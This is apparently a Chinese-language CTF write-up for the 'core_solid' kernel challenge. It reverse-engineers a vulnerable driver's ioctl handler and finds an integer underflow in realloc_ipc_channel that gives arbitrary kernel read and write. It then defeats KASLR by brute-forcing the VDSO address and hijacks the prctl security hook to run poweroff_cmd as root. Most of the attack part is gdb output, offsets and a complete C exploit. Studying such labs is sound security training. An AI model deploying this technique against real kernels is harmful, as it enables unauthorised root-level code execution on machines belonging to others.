0%

HijackPrctl+kernel_base爆破

core_solid 复现

1
2
3
4
5
6
7
8
9
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-cpu qemu64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-s \
-nographic -enable-kvm \
  • kaslr,smep,smap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig lo 127.0.0.1 netmask 255.255.255.0
route add -net 127.0.0.0 netmask 255.255.255.0 lo
echo "flag{hijack_prctl_is_fun_and_function_pointer_is_dangerous}" > /flag
chmod 400 /flag
insmod /simp1e.ko
chmod 777 /proc/simp1e


setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
#poweroff -d 1800000 -f &
umount /proc
umount /sys

poweroff -d 0 -f
  • kptr_restrict,dmesg_restrict

漏洞分析

驱动程序的逆向有点麻烦,主要是 csaw_ioctl 不同功能传入的结构体不同

  • 3个8字节,有时是指针,有时是 size,甚至有时只传入4字节

而函数 csaw_ioctl 中只定义了一个结构体 channel_args_from,于是我就默认每个位置的功能固定,走了不少弯路,最后是通过函数名和一些特殊函数分析出了 channel_args_from 各个位置的含义:

1
2
3
4
alloc_new_ipc_channel /* 因为里面有kmalloc,可以判断传入的参数为size */
realloc_ipc_channel /* 传入的参数为ID */
get_channel_by_id /* 传入的参数为ID */
mutex_lock /* 传入的参数为mutex */
  • 顺带一提,以下两个结构体在驱动模块中经常出现(部分条目可能不一样)
1
2
3
4
5
6
7
00000000 list struc ; (sizeof=0x28, mappedto_4)
00000000 item dq ? ; offset
00000008 mutex dq ? ; offset
00000010 field_10 dq ?
00000018 field_18 dq ?
00000020 field_20 dq ?
00000028 list ends
1
2
3
4
5
6
7
00000000 item struc ; (sizeof=0x20, mappedto_5)
00000000 refcount dd ?
00000004 index dd ?
00000008 buf dq ? ; offset
00000010 size dq ?
00000018 data dq ? ; offset
00000020 item ends

程序的漏洞点就在 realloc_ipc_channel 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( key_cannel )
size = channel->size + user_size;
else
size = channel->size - user_size; /* 负数溢出 */
buf = (char *)krealloc(channel->buf, size + 1, 0x14000C0LL);
if ( buf )
{
item->buf = buf;
item->size = size; /* 为item赋值新的size */
err = _InterlockedDecrement(&item->refcount);
key = err == 0;
if ( err < 0 )
__asm { ud0 }
if ( key )
{
ipc_channel_destroy(item);
LODWORD(channel) = 0;
}
else
{
LODWORD(channel) = 0;
}
}
  • 如果 user_size 大于 channel->size 就会导致负数溢出
  • 但这里我们想要的不是 krealloc 申请的大空间,而是 channel->buf 空间不变,但是 item->size 超大,可以绕过后面的检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
item_write = using_list->item;
size = channel_from.size;
if ( !using_list->item )
goto LABEL_39;
data_write = item_write->data;
if ( (unsigned __int64)&data_write[channel_from.size] > item_write->size )
/* item_write->size非常大,实现局部任意写 */
goto LABEL_25;
addr = (unsigned __int64)&item_write->buf[(unsigned __int64)data_write];
if ( addr <= 0xFFFFFFFF7FFFFFFFLL )
/* 程序进行了限制,写的范围必须大于0xFFFFFFFF7FFFFFFF */
printk("16Access Denied\n");

else if ( strncpy_from_user(addr, channel_from.user_ptr, channel_from.size) >= 0 )
/* 把用户指针user_ptr中的数据拷贝到using_list->item->data中 */
goto LABEL_19;
  • 程序将在 CSAW_WRITE_CHANNEL 完成局部任意写

任意读写

程序利用 CSAW_SEEK_CHANNEL 和 CSAW_READ_CHANNEL 可以完成局部任意读:

1
item_seek->data = channel_from.user_ptr;
1
2
3
item_read = using_list->item;
data_read = (unsigned __int64)item_read->data;
copy_to_user(channel_from.user_ptr, &item_read->buf[data_read], channel_from.size)
  • item_seekitem_read 都指向 using_list->item(是由 alloc_new_ipc_channel 进行分配的)
  • 因此 data_read == channel_from.user_ptr

模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void RAA(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);
}

程序利用 CSAW_SEEK_CHANNEL 和 CSAW_WRITE_CHANNEL 可以完成局部任意写:

1
item_seek->data = channel_from.user_ptr;
1
2
3
data_write = (unsigned __int64)item_write->data;
addr = (unsigned __int64)&item_write->buf[data_write];
strncpy_from_user(addr, channel_from.user_ptr, channel_from.size)
  • 首先 data_write == channel_from.user_ptr
  • item_write->buf 是由 _kmalloc 申请出来的,理论上来说我们是不好泄露堆地址的,但是 realloc_ipc_channel 中有解决的办法:
1
2
3
4
5
6
buf = (char *)krealloc(channel->buf, size + 1, 0x14000C0LL);
if ( buf )
{
item->buf = buf;
......
}
  • size+1 == 0 时,krealloc 会返回 NULL,同时被赋值给 using_list->item->buf(这就不需要考虑堆地址了)

模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void WAA(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct write_channel_args write_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)write_buff;
write_channel.count = len;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}

入侵思路

可以用 HijackPrctl 在不提权的情况下获取 flag

HijackPrctl 的核心就是利用 prctl 系统调用:

1
2
3
4
5
6
7
8
9
10
11
12
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
unsigned char comm[sizeof(me->comm)];
long error;

error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;
......
}
  • 然后跟进 security_task_prctl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
int thisrc;
int rc = -ENOSYS;
struct security_hook_list *hp;

hlist_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
if (thisrc != -ENOSYS) {
rc = thisrc;
if (thisrc != 0)
break;
}
}
return rc;
}
  • security_task_prctl 中会定位到一个虚表里面去,并且第一个参数可控
  • 劫持这里,然后调用 prctl,就可以实现任意代码执行

利用程序漏洞实现的 WAA 可以轻松覆盖这里,但是有一个问题:

1
2
int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
  • security_task_prctl 的第一个参数是 int 类型
  • 为了执行 commit_creds(prepare_kernel_cred(0)),我们需要传入 prepare_kernel_cred(0) 的指针,但是在64位的系统中该指针会被 int 类型截断(32位就没有这个困扰)

取而代之的是函数 __orderly_poweroff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int __orderly_poweroff(bool force)
{
int ret;

ret = run_cmd(poweroff_cmd);

if (ret && force) {
pr_warn("Failed to start orderly shutdown: forcing the issue\n");
emergency_sync();
kernel_power_off();
}

return ret;
}
  • 该函数会调用 run_cmd,进而调用 call_usermoderhelper(内核运行用户程序的一个 api,并且拥有 Root 的权限,如果我们能够控制性的调用它,就能以 Root 权限执行我们想要执行的程序)
  • 参数 poweroff_cmd 是全局变量,可以修改

因此 HijackPrctl 的大体步骤为:

  • 篡改 poweroff_cmd 使其等于我们预期执行的命令
  • 篡改 prctl_hookorderly_poweroff
  • 调用 prctl

为此我们需要先泄露 kernel_base

  • 当我们有 RAA 任意读后,可以用爆破的形式泄露 VDSO 的 ELF 头文件
  • 然后利用 VDSO和 kernel_base 相差不远的特性,泄露出内核基址

把网上的模板拿来改一改就好了:

1
2
3
4
5
6
7
8
for(addr=0xffffffff80000000; addr<0xffffffffffffefff; addr+=0x1000) {
RAA(fd, channel_id, &read_buff, addr, 8);
if (read_buff == 0x010102464c457f) { /* VDSO ELF头文件标志 */
printf("find it: %p\n",addr);
vdso_addr = addr;
break;
}
}
  • 接下来就是一些套路化的东西,但是这个消息获取的过程需要注意

信息获取

先关闭 kaslr,开始调试内核:

1
2
3
4
5
6
7
/ # cat /proc/kallsyms
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
ffffffffa3a00000 T startup_64
ffffffffa3a00000 T _stext
ffffffffa3a00000 T _text
ffffffffa3a00030 T secondary_startup
  • kernel_base == 0xffffffffa3a00000
1
2
3
4
/ # grep security_task_prctl /proc/kallsyms
ffffffffa3cbd410 T security_task_prctl
/ # grep poweroff_work_func /proc/kallsyms
ffffffffa3a9c4c0 t poweroff_work_func
  • poweroff_work_func == 0xffffffffa3a9c4c0
  • poweroff_work_func_offset = 0xffffffffa3a9c4c0 - 0xffffffffa3a00000 = 0x9c4c0

然后连接 GDB,打印 security_task_prctl-ffffffffa3cbd410

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x /30iw 0xffffffffa3cbd410
0xffffffffa3cbd410: push r15
0xffffffffa3cbd412: mov r15d,0xffffffda
0xffffffffa3cbd418: push r14
0xffffffffa3cbd41a: mov r14d,edi
0xffffffffa3cbd41d: push r13
0xffffffffa3cbd41f: mov r13,rsi
0xffffffffa3cbd422: push r12
0xffffffffa3cbd424: mov r12,rdx
0xffffffffa3cbd427: push rbp
0xffffffffa3cbd428: mov rbp,rcx
0xffffffffa3cbd42b: push rbx
0xffffffffa3cbd42c: sub rsp,0x8
0xffffffffa3cbd430: mov rbx,QWORD PTR [rip+0x14a4cc9] # 0xffffffffa5162100
0xffffffffa3cbd437: mov QWORD PTR [rsp],r8
0xffffffffa3cbd43b: cmp rbx,0xffffffffa5162100
0xffffffffa3cbd442: je 0xffffffffa3cbd46f
0xffffffffa3cbd444: mov r8,QWORD PTR [rsp]
0xffffffffa3cbd448: mov rcx,rbp
0xffffffffa3cbd44b: mov rdx,r12
0xffffffffa3cbd44e: mov rsi,r13
0xffffffffa3cbd451: mov edi,r14d
0xffffffffa3cbd454: call QWORD PTR [rbx+0x18] /* target */

0xffffffffa3cbd454 打断点,调试至此:

1
2
3
4
*RBX  0xffffffffa4c4fce8 —▸ 0xffffffffa5162100 ◂— 0xffffffffa4c4fce8
*RIP 0xffffffffa3cbd454 ◂— call qword ptr [rbx + 0x18]
─────────────────────────────────────────────
0xffffffffa3cbd454 call qword ptr [rbx + 0x18] <0xffffffffa3a9c4c0>
  • prctl_hook == 0xffffffffa4c4fd00
  • prctl_hook_offset = 0xffffffffa4c4fd00 - 0xffffffffa3a00000 = 0x124fd00

然后连接 GDB,打印 poweroff_work_func-ffffffffa3a9c4c0

1
2
3
4
5
pwndbg> x /30iw 0xffffffffa3a9c4c0
0xffffffffa3a9c4c0: push rbx
0xffffffffa3a9c4c1: mov rdi,0xffffffffa4c3d1e0
0xffffffffa3a9c4c8: movzx ebx,BYTE PTR [rip+0x1670401] # 0xffffffffa510c8d0
0xffffffffa3a9c4cf: call 0xffffffffa3a9c050 /* 调用run_cmd */
  • 第一个 call 就会调用 run_cmd,所以第一个参数 poweroff_cmd == rdi
  • poweroff_cmd_offset = 0xffffffffa4c3d1e0 - 0xffffffffa3a00000 = 0x123d1e0

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>
#include<sys/types.h>
#include<fcntl.h>
#include<sys/ioctl.h>
#include<sys/prctl.h>
#include<unistd.h>
#include<sys/auxv.h>
#include<string.h>
#include<stdbool.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

void error(const char* msg)
{
perror(msg);
exit(-1);
}

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

void RAA(int fd, int channel_id, void *read_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

read_channel.id = channel_id;
read_channel.buf = (char*)read_buff;
read_channel.count = len;
ioctl(fd, CSAW_READ_CHANNEL, &read_channel);
}

void WAA(int fd, int channel_id, void* write_buff, uint64_t addr, uint32_t len)
{
struct seek_channel_args seek_channel;
struct write_channel_args write_channel;

seek_channel.id = channel_id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd, CSAW_SEEK_CHANNEL, &seek_channel);

write_channel.id = channel_id;
write_channel.buf = (char*)write_buff;
write_channel.count = len;
ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);
}

int main()
{
int fd, channel_id;
struct alloc_channel_args alloc_channel;
struct shrink_channel_args shrink_channel;
uint64_t addr;
uint32_t result;
int* read_buff = 0;
uint32_t i;
uint64_t vdso_addr = 0;

setbuf(stdout ,0);

fd = open("/proc/simp1e", O_NONBLOCK);
if(fd == -1)
error("open dev error");

alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_channel);

if(alloc_channel.id == -1 )
error("alloc channel error");
else
printf("channel id: %d\n",alloc_channel.id);

channel_id = alloc_channel.id;

shrink_channel.id = channel_id;
shrink_channel.size = 0x100 + 1;
ioctl(fd, CSAW_SHRINK_CHANNEL, &shrink_channel);;

for(addr=0xffffffff80000000; addr<0xffffffffffffefff; addr+=0x1000) {
RAA(fd, channel_id, &read_buff, addr, 8);
if (read_buff == 0x010102464c457f) {
printf("find it: %p\n",addr);
vdso_addr = addr;
break;
}
}

if(vdso_addr==0)
error("can't find vdso_bsae");

uint64_t kernel_base = vdso_addr - 0x1020000;
printf("[+] kernel base addr: %lp\n", kernel_base);

uint64_t poweroff_work_func_offset = 0x9c4c0;
uint64_t poweroff_cmd_offset = 0x123d1e0;
uint64_t prctl_hook_offset = 0x124fd00;
uint64_t poweroff_work_func_addr = kernel_base + poweroff_work_func_offset;
uint64_t poweroff_cmd_addr = kernel_base + poweroff_cmd_offset;
uint64_t task_prctl_hook_addr = kernel_base + prctl_hook_offset;

char arbitrary_command[] = "/bin/chmod 777 /flag";
WAA(fd, channel_id, arbitrary_command, poweroff_cmd_addr, strlen(arbitrary_command));
WAA(fd, channel_id, &poweroff_work_func_addr, task_prctl_hook_addr, 8);

prctl(0 ,2, 0, 0,2);
printf("flag: ");
system("cat flag");

return 0;
}

小结:

第一次遇到 HijackPrctl,最后的 exp 参考了下 raycp 大佬的思路